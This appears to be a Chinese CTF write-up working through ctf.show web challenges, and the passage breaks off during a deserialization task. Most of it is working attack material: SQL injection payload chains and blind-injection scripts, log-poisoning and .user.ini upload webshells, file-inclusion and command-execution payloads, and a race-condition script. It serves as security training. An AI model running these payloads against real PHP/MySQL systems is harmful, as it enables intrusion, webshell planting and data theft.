web签到题(源码泄露)

源码泄露,注释base64解码

image-20250305220304981

web2(sql注入)

简单sql注入,post传参username和password

password=1&username=1' or 1=1#  //回显欢迎你,ctfshow
password=1&username=-1' or 1=1 order by 4# //无回显
password=1&username=-1' or 1=1 order by 3# //回显欢迎你,ctfshow
password=1&username=-1' union select 1,2,3# //回显2
password=1&username=-1' union select 1,database(),3# //回显web2
password=1&username=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3# //回显flag,user
password=1&username=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3# //回显flag
password=1&username=-1' union select 1,(select group_concat(flag) from flag),3# //获得flag

web3(文件包含)

文件包含,<?php include($_GET['url']);?>,直接试试伪协议

url=data://text/plain,<?php system("ls");?>  //ctf_go_go_go index.php
url=data://text/plain,<?php system("tac ctf_go_go_go");?> //获得flag

web4(日志注入)

题目同上<?php include($_GET['url']);?>,估计加了过滤, 先测测

url=data://text/plain,<?php system("ls");?>  //报错

好吧,还可以尝试日志注入,在响应头中可以看到服务器为nginx,访问/var/log/nginx/access.log,即nginx成功日志文件位置

image-20250305223103549

发现日志文件中含有UA,那么将UA替换为一句话木马后访问就行

GET:url=/var/log/nginx/access.log&a=system("ls /");
UA:<?php eval($_GET[a])?>

但是注意这里flag文件不是在当前目录或者根目录下,而是在/var/www目录下,所以还是觉得蚁剑方便点

GET:url=/var/log/nginx/access.log&a=system("tac /var/www/flag.txt");  //获得flag

web5(php特性)

<?php
error_reporting(0);

?>
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web5</title>
</head>
<body>
<center>
<h2>ctf.show_web5</h2>
<hr>
<h3>
</center>
<?php
$flag="";
$v1=$_GET['v1'];
$v2=$_GET['v2'];
if(isset($v1) && isset($v2)){
if(!ctype_alpha($v1)){
die("v1 error");
}
if(!is_numeric($v2)){
die("v2 error");
}
if(md5($v1)==md5($v2)){
echo $flag;
}
}else{

echo "where is flag?";
}
?>

</body>
</html>

两个变量,一个需要为数字,一个需要为字母,md5加密后需要相等,直接0e绕过,但是注意,0e相等需要加密后0e后面全为数字,如果数字和字母混合则不行

v1=QLTHNDT&v2=240610708
字母加密后为0e405967825401955372549139051580
数字加密后为0e462097431906509019562988736854

web6(sql注入过滤空格)

猜测是加了过滤,先来测测

password=q&username=1' or 1=1#  //回显sql inject error
password=q&username=1'/**/or/**/1=1# //回显欢迎你,ctfshow
password=q&username=1'/**/or/**/1=1/**/order/**/by/**/4# //无回显
password=q&username=1'/**/or/**/1=1/**/order/**/by/**/3# //回显欢迎你,ctfshow
password=q&username=1'/**/union/**/select/**/1,2,3# //回显2
password=q&username=1'/**/union/**/select/**/1,database(),3# //回显web2,敢情加个过滤直接用
password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web2'),3# //回显flag,user
password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),3# //回显flag
password=q&username=1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3# //获得flag

附个空格转/**/的脚本,不然自己输好麻烦

def replace_spaces(text):
return text.replace(' ', '/**/')

# 从用户输入直接处理
input_text = input("请输入文本: ")
output_text = replace_spaces(input_text)
print("替换结果:", output_text)

当然,这个题也可以sqlmap一把梭,常规基础加个--tamper=space2comment.py就行

python sqlmap.py -u http://359fc1ce-ad1f-40dd-a7fe-92b7dd691ec0.challenge.ctf.show/ -batch --level=4 --data username=1&password=1 --tamper=space2comment.py --dbms=mysql --technique=U -dbs

经过尝试好像梭不了,环境有点小问题,但是理论就是这样的

web7(sql注入+’)

进入先看到三个链接,随便点一个发现url中出现了?id=1,肯定试试是不是sql啊

id=-1' or 1=1#  //报错
id=-1'/**/or/**/1=1# //成功显示三篇文章
id=-1'/**/or/**/1=1/**/order/**/by/**/4# //无回显
id=-1'/**/or/**/1=1/**/order/**/by/**/3# //成功显示三篇文章
id=-1'/**/union/**/select/**/1,2,3# //回显2,3
id=-1'/**/union/**/select/**/1,(database()),3# //回显web7
id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web7'),3# //无回显,猜测是过滤了单引号,可用双引号绕过
id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3# //回显flag,page,user
id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),3# //回显flag
id=-1'/**/union/**/select/**/1,(select/**/group_concat(flag)/**/from/**/flag),3# //得到flag

web8(sql注入+,)

和上题一样的三个链接,直接万能密码测

id=-1' or 1=1#  //报错,过滤空格
id=-1'/**/or/**/1=1# //报错,猜测过滤单引号
id=-1/**/or/**/1=1# //成功回显
id=-1/**/or/**/1=1/**/order/**/by/**/4# //无回显
id=-1/**/or/**/1=1/**/order/**/by/**/3# //成功回显
id=-1/**/union//select//1,2,3# //报错,猜测过滤union或者select
id=-1/**/union# //报错
id=-1/**/select# //无回显
id=-1/**/or/**/substr(database(),1,1)="w"# //报错,猜测过滤逗号
id=-1/**/or/**/substr(database()from/**/1/**/for/**/1)="w"# //成功回显
既然这样有回显,那就是布尔盲注了,将以前写的脚本改成二分法试试
import requests

def force(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<=right:
mid=left+(right-left)//2
payload = {'id':f"-1/**/or/**/(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata)from/**/{i}/**/for/**/1))>{mid})"}
r=requests.get(url=url,params=payload).text

if ('A Child' in r):
left=mid+1
else:
right=mid-1
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,库名为"+find)
break

def force1(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<=right:
mid=left+(right-left)//2
payload = {'id':f"-1/**/or/**/(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\"{database}\")from/**/{i}/**/for/**/1))>{mid})"}
r=requests.get(url=url,params=payload).text

if ('A Child' in r):
left=mid+1
else:
right=mid-1
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,表名为"+find)
break

def force2(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<=right:
mid=left+(right-left)//2
payload = {'id':f"-1/**/or/**/(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\"{table}\")from/**/{i}/**/for/**/1))>{mid})"}
r=requests.get(url=url,params=payload).text

if ('A Child' in r):
left=mid+1
else:
right=mid-1
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,列名为"+find)
break

def force3(url):
find=''
for i in range(1,200):
found_char=False
left,right=32,127
while left<=right:
mid=left+(right-left)//2
payload = {'id':f"-1/**/or/**/(ascii(substr((select/**/group_concat({column})/**/from/**/{table})from/**/{i}/**/for/**/1))>{mid})"}
r=requests.get(url=url,params=payload).text

if ('A Child' in r):
left=mid+1
else:
right=mid-1
if left>32:
find += chr(left)
print(find)
found_char = True
if not found_char:
print("未找到更多字符,flag为"+find)
break


if __name__ =="__main__":
#指定url
url='http://4d1ab496-a4f6-4028-a1f6-dee072ee2619.challenge.ctf.show'
force(url)
database=input("请输入库名:")
force1(url)
table=input("请输入表名:")
force2(url)
column=input("请输入列名:")
force3(url)

注意:这里在表名和列名时需要用\"\"来包裹传入的库名和表名,(主要还是因为过滤了单引号)

image-20250306112001476

image-20250306112009052

web9(sql注入ffifdyop绕过md5)

第一眼看到admin以为弱口令,bp试了下没结果,毕竟一般不会考字典容量,不过还真有两个回显密码错误的

image-20250306112453909

尝试扫下目录试试

python dirsearch.py -u http://363f4351-7329-4739-84e2-a914f67c55b6.challenge.ctf.show

image-20250306112801307

访问robots.txt发现index.phps文件,访问自动下载,源码如下

<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

看到md5($password,true),类似于[web187](web入门-sql注入 | Yxing),通过传入密码ffifdyop或数字型129581926211651571912466741651878684928绕过,但是由于限制长度,所以只能输入ffifdyop

原理:ffifdyop在经过php中md5加密且输出十六进制格式时,会出现'or'6,就能绕过

输入ffifdyop查询的时候,查询语句变成:

SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在后来测试中发现,不只是1开头,只要是数字开头都是可以的。

image-20250306114016851

web10(with rollup空值绕过)

题目

直接扫目录试试

python dirsearch.py -u https://0c57236c-0120-4d32-a9c7-2e160d19f119.challenge.ctf.show/

扫目录没结果,看了wp发现眼瞎了,有个取消按钮,直接点了就能下载源码??????

好吧,在css中也能发现,点击即送源码,源码如下

image-20250306114511588

<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

就是将username和password都通过将某些字符替换为空格进行过滤,然后比较字符长度

因此可以通过with rollup使得密码有一列为空,将password传入空就可以实现比较成功

password=&username='or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#

补充:with rollup

WITH ROLLUP 是 SQL 中 GROUP BY 子句的扩展,用于生成多层次的小计和总计(类似于数据透视表中的“总计”或“小计”行)。在汇总行中,被聚合的列会被标记为 NULL(如示例中的 departmentproduct)。

假设有一个销售表 sales,包含 department(部门)、product(产品)和 amount(销售额):

department product amount
A X 100
A Y 200
B X 150
B Z 50

查询:

SELECT department, product, SUM(amount) AS total
FROM sales
GROUP BY department, product WITH ROLLUP;

结果:

department product total
A X 100
A Y 200
A NULL 300
B X 150
B Z 50
B NULL 200
NULL NULL 500

web11(session密码匹配)

<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

直接将源码输出,审计发现还是替换了password中的某些字符,抓包看看

image-20250306115942450

看到cookie中有PHPSESSID=c4570e09e75b6164a1420788fba957a2字样,但是我们不能更改服务器端的session,只能更改客户端的cookie,因此直接将PHPSESSID和password都改为空发包即可

image-20250306120407649

注意:如果直接在密码处输入PHPSESSID,而不是实际密码,肯定是不匹配的,原因就是$_SESSION['password']存储的是用户的实际密码而不是PHPSESSID,它根据你的PHPSESSID来确定服务器里面存的password是哪个,将它删掉,服务器就没法确认是哪个,将password置为空。然后你输入的password又为空,就能使题目的$password==$_SESSION['password']条件成立

web12(命令执行禁用函数)

常规获取

一进去什么也没有,看看源码发现hint:?cmd=,那就直接GET传参看看

cmd=phpinfo();  //说明存在命令执行漏洞,在disable_functions中发现了常见的执行命令的函数,换一些来实现
cmd=print_r(scandir(dirname('FILE'))); //发现903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php和index.php
cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //拿到flag
cmd=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //也可获得flag

image-20250306121439709

该题源码如下

<?php
$cmd=$_GET['cmd'];
eval($cmd);

?>

日志注入

当然,也可以进行日志注入,传参包含日志文件然后上传马就行

GET:cmd=include("/var/log/nginx/access.log");
UA:<?php eval($_POST[a]);?>

这里要使用蚁剑,所以必须用POST传参,并且还要用蚁剑插件绕过disable_functions

没有插件的话在插件市场里面找,但是要外网或者热点,不然进不去,至于为什么热点可以,玄学吧

image-20250306123653275

image-20250306123224805

红包题第二弹(上传文件.执行命令)

同上,还是源码发现传参cmd

cmd=phpinfo();  //直接爆出源码了,源码如下
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){

die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);

}

?>

过滤了大部分字母和符号,留下p . \ = < > ? 和反引号,参考web55 | Yxing](https://yxing-1.github.io/2025/02/19/web入门-命令执行/))

先新建一个html文件抓包,更改url

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://e47f54b2-c7be-483d-a9dd-207362aa8fa5.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

image-20250306171104355

然后添加参数、文件内容和文件名字,原理就是先通过?>闭合前面的php命令,<?=相当于<?php echo,反引号来执行命令,通配符来匹配命令,然后./执行

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows中)、php**.tmp(Linux中)。

GET:?cmd=?><?=`.+/??p/p?p??????`;
文件内容为
#!/bin/sh
ls /

image-20250306172303636

改为cat /flag.txt就行了,可能有概率错,多试几次就行

image-20250306172358384

web13(文件上传通过.user.ini全局包含马)

一进去就是上传文件,先尝试上传个一句话木马上去

<?php eval($_POST[123]);?>

果不其然失败了,扫扫目录看看

python dirsearch.py -u https://e4a9c4e5-cc11-4aa1-98ac-aa58984d5c06.challenge.ctf.show

扫了个upload.php就没结果了,去看了wp才知道可以尝试下载备份文件,发现upload.php.bak成功下载(”.bak” 通常是文件名中用于表示备份文件的一种常见扩展名。),过滤规则如下

<?php 
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}

?>

限制文件内容长度和文件名不能有php,看wp学习下

首先在本地新建.user.ini(.user.ini 是 PHP 的用户级配置文件。这个文件允许用户在特定目录中自定义一些 PHP 配置选项,以覆盖全局 PHP 配置。),内容为auto_prepend_file=a.txt(在PHP中,auto_prepend_file 指令用于指定一个在服务器上每个PHP脚本执行之前自动包含(预先包含)的文件。此时指定的文件是”a.txt”。)。

再新建a.txt,内容为<?php eval($_GET[123]);

先上传.user.ini,再上传a.txt。

在页面中向123传参即可

123=print_r(scandir(dirname('FILE')));  //回显中有文件903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
123=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php"); //获得flag
123=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
123=system("tac 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

image-20250306174415606

image-20250306174635766

web14(sql注入读文件)

<?php
include("secret.php");

if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}

highlight_file(__FILE__);

首先,考察了switch的特性,满足一个语句时如果不break会继续向下进行,那么我们想输出url,但是又不想sleep太久,那就可以看到传参为3的时候可以执行6000000的情况然后输出url,获得here_1s_your_f1ag.php,访问

image-20250306180051996

进入先弹了一个admin弹窗,然后就是一个查询框,猜测是sql注入

1   //有弹窗有回显
1' //有弹窗无回显
1 or 1=1# //无弹窗,猜测过滤空格
1/**/or/**/1=1# //有弹窗有回显
1/**/or/**/1=1/**/order/**/by/**/4# //有弹窗无回显
1/**/or/**/1=1/**/order/**/by/**/2# //有弹窗无回显
1/**/or/**/1=1/**/order/**/by/**/1# //有弹窗有回显
-1/**/union/**/select/**/database()# //回显web
-1/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='web')# //这是注意到源码中提示过滤了information_schema\.tables|information_schema\.columns|linestring| |polygon,用mysql.innodb_table_stats绕过
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web'# //回显content

下面就是无列名注入,依次获取各行数据

-1/**/union/**/select(group_concat(`1`))from(select/**/1,2,3/**/union/**/select*from(content))vt  //回显1,1,2,3
-1/**/union/**/select(group_concat(`2`))from(select/**/1,2,3/**/union/**/select*from(content))vt //回显2,admin,gtf1y,Wow
-1/**/union/**/select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select*from(content))vt //回显3,flag is not here!,wow,you can really dance,tell you a secret,secret has a secret...

根据提示 tell you a secret,secret has a secret… 和主页中的 include(“secret.php”),尝试读取 secret.php 文件

数据库用户为 root, 使用高权限读写注入

操作系统为 linux, 中间件为 nginx,先读取 nginx 配置文件, 确认下网页根路径

-1/**/union/**/select/**/load_file("/etc/nginx/nginx.conf")  // 确认网页根路径为 /var/www/html
-1/**/union/**/select/**/load_file("/var/www/html/secret.php") //读取 secret.php 文件
-1/**/union/**/select/**/load_file("/real_flag_is_here") // 读取 real_flag_is_here

image-20250306215154308

image-20250306215215016

image-20250306215230861

最终获得flag

红包题第六弹(上传文件条件竞争)

先看到一个输入框,看源码,没什么东西,扫目录看看

python dirsearch.py -u https://42f635e7-fec7-424f-8cf9-5162ea1ba843.challenge.ctf.show/ -e php,html,zip

image-20250307190936577

看到一个web.zip,可以把check.php的备份下下来,源码刚好需要check.php来进行验证,源码如下

function receiveStreamFile($receiveFile){

$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';

if(empty($streamData)){
$streamData = file_get_contents('php://input');
}

if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}

return $ret;

}
if(md5(date("i")) === $token){

$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}

$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}

$ret['errormsg']="token error";
echo json_encode($ret);
return;

将data(i)MD5加密后与token进行比较,然后将客户端输入存储在flag.dat文件中与key.dat进行md5对比要求md5一致,但是sha512不一样,直接访问key.dat进行下载即可。

那么这种情况肯定会出现条件竞争,也就是说flag.dat在比较完第一次之后被覆盖了的话,就可以满足第二个条件

贴个通过条件竞争的脚本(需将key.dat文件移至python脚本文件下)

import requests
import time
import hashlib
import threading

i=str(time.localtime().tm_min)
m=hashlib.md5(i.encode()).hexdigest()

def go_to(data):
try:
url=f"http://42f635e7-fec7-424f-8cf9-5162ea1ba843.challenge.ctf.show/check.php?token={m}&php://input"
s=requests.post(url,data=data)
print(s.text)
except Exception as e:
pass

with open('key.dat','rb') as t:
data1=t.read()
pass
for i in range(20):
threading.Thread(target=go_to,args=(data1,)).start()
for i in range(20):
data2='abbcd'
threading.Thread(target=go_to,args=(data2,)).start()

image-20250307192314486

红包题第七弹(git泄露,蚁剑插件绕过)

一进来就是个phpinfo()界面,先看看禁用函数

image-20250307192618598

然后没思路了,尝试扫目录

python dirsearch.py -u http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/

image-20250307193029216

看到403的.git,看了wp知道这种情况一般都是存在文件夹,但是不能直接访问导致的,通过git_extract工具来提取,项目地址好吧,还是上虚拟机去了,这玩意要python2,不然有个库没得,kali中没自带,还是要下了放进去

python2 git_extract.py http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/.git/

image-20250307195318469

提取到个backdoor文件,打开发现如下

!-- 36D姑娘留的后门,闲人免进 -->
<?php
@eval($_POST['Letmein']);
?>

那就可以直接去命令执行了,用蚁剑插件绕过最好

url;http://0bed9f86-9d19-48e8-8b86-5294559bc860.challenge.ctf.show/backdoor.php
密码:Letmein

image-20250307200508697

选模式时选择这个,如何下载插件在前面的web12中提到过

image-20250307200423320

萌新专属红包题(弱口令)

看到登录框,又看到萌新,那就先试试弱口令

image-20250307201256373

还真找到了,用户名为admin,密码为admin888,并且直接在下方响应就可以看到flag,base64解码即可

ctfshow_web1(sql注入布尔盲注)

先扫个目录再说

python dirsearch.py -u https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/

image-20250307201525501

可以看到www.zip,访问先下载看看,直接看里面的login.php,源码如下

<?php
error_reporting(0);
session_start();
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$username=$_POST['username'];
$password=$_POST['password'];
if(isset($username) && isset($password)){
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
die("error");
}
$sql="select pwd from user where uname = '$username' limit 1";
$res=mysqli_query($con,$sql);
$row = mysqli_fetch_array($res);
if($row['pwd']===$password){
$_SESSION["login"] = true;
header("location:/user_main.php?order=id");
}else{
header("location:/index.php");
}
}else{
header("location:/index.php");
}

?>

但是感觉不好注入,先尝试注册个账号进去看看,看到一个用户名为flag的账号,得知flag在该用户密码中

这里还涉及到了user_main.phpreg.php文件,源码如下

//user_main.php
<?php

if(isset($_SESSION["login"]) && $_SESSION["login"] === true){
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$order=$_GET['order'];
if(isset($order) && strlen($order)<6){
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\,|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\’|\“|\"|\<|\>|\?|\,|\.|\?/i",$order)){
die("error");
}
$sql="select * from user order by $order";
}else{
$sql="select * from user order by id";
}

?>
//reg.php
<?php
error_reporting(0);
$con = mysqli_connect("localhost","root","root","web15");
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
$username=$_POST['username'];
$password=$_POST['password'];
$email=$_POST['email'];
$nickname=$_POST['nickname'];
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$username)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\_|\+|\=|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$password)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\!|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}\]|\'|\’|\“|\"|\<|\>|\?/i",$email)){
die("error");
}
if(preg_match("/group|union|select|from|or|and|regexp|substr|like|create|drop|\`|\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\+|\=|\{|\}|\]|\;|\'|\’|\“|\"|\<|\>|\?/i",$nickname)){
die("error");
}
if(isset($username) && isset($password) && isset($email) && isset($nickname)){
$sql = "INSERT INTO user (uname, pwd, email,nname) VALUES ('$username', '$password', '$email','$nickname')";
$res=mysqli_query($con, $sql);
if ($res) {
$_SESSION["login"] = true;
header("location:/index.php");
}
}
mysqli_close($conn);


?>

得知密码列为pwd,那么就可以通过已知注册用户密码和flag来进行比较,通过位置来确定每一个字符,类似于布尔盲注,以下贴个师傅的脚本

import requests as r
from requests.packages import urllib3; urllib3.disable_warnings()

url_reg = 'https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/reg.php'
url_user = 'https://687e2d6a-18c9-4de2-aa71-6b65553a328c.challenge.ctf.show/user_main.php'

chars = '-0123456789abcdefghijklmnopqrstuvwxyz}~'

cookie = {'PHPSESSID': 'e998b37a8ec7dce460e261f764d79ef6'} # 先手动注册一个用户,获取cookie,用于登录查看排序结果。

def check(flag):
with r.Session() as s:
for i in range(len(chars)):
char = chars[i]
data = {
'username': flag + char,
'password': flag + char,
'email': 'email',
'nickname': 'nickname',
}
s.post(url_reg, data=data, verify=False)
resp_user = s.get(url_user, params={'order': 'pwd'}, verify=False, cookies=cookie)
if resp_user.text.find('<td>' + data['username'] + '</td>') > resp_user.text.find('flag'):
if chars[i]=='}':
return chars[i]
else:
return chars[i-1]

flag = 'ctfshow{'
while flag[-1] != '}':
flag += check(flag)
print(flag)
else:
exit()

image-20250307203315533

game-gyctf web2(pop反序列化,字符逃逸,重看!!!)

尝试sql注入

password=1&username=1' or 1=1#  //回显Damn you, hacker!,猜测绕过空格
password=1&username=1'/**/or/**/1#

但是发现扫目录扫出东西了,扫出来个www.zip,里面有源码,~~喜出望外~~,源码如下

//login.php
<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>
//update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>
//lib.php
<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
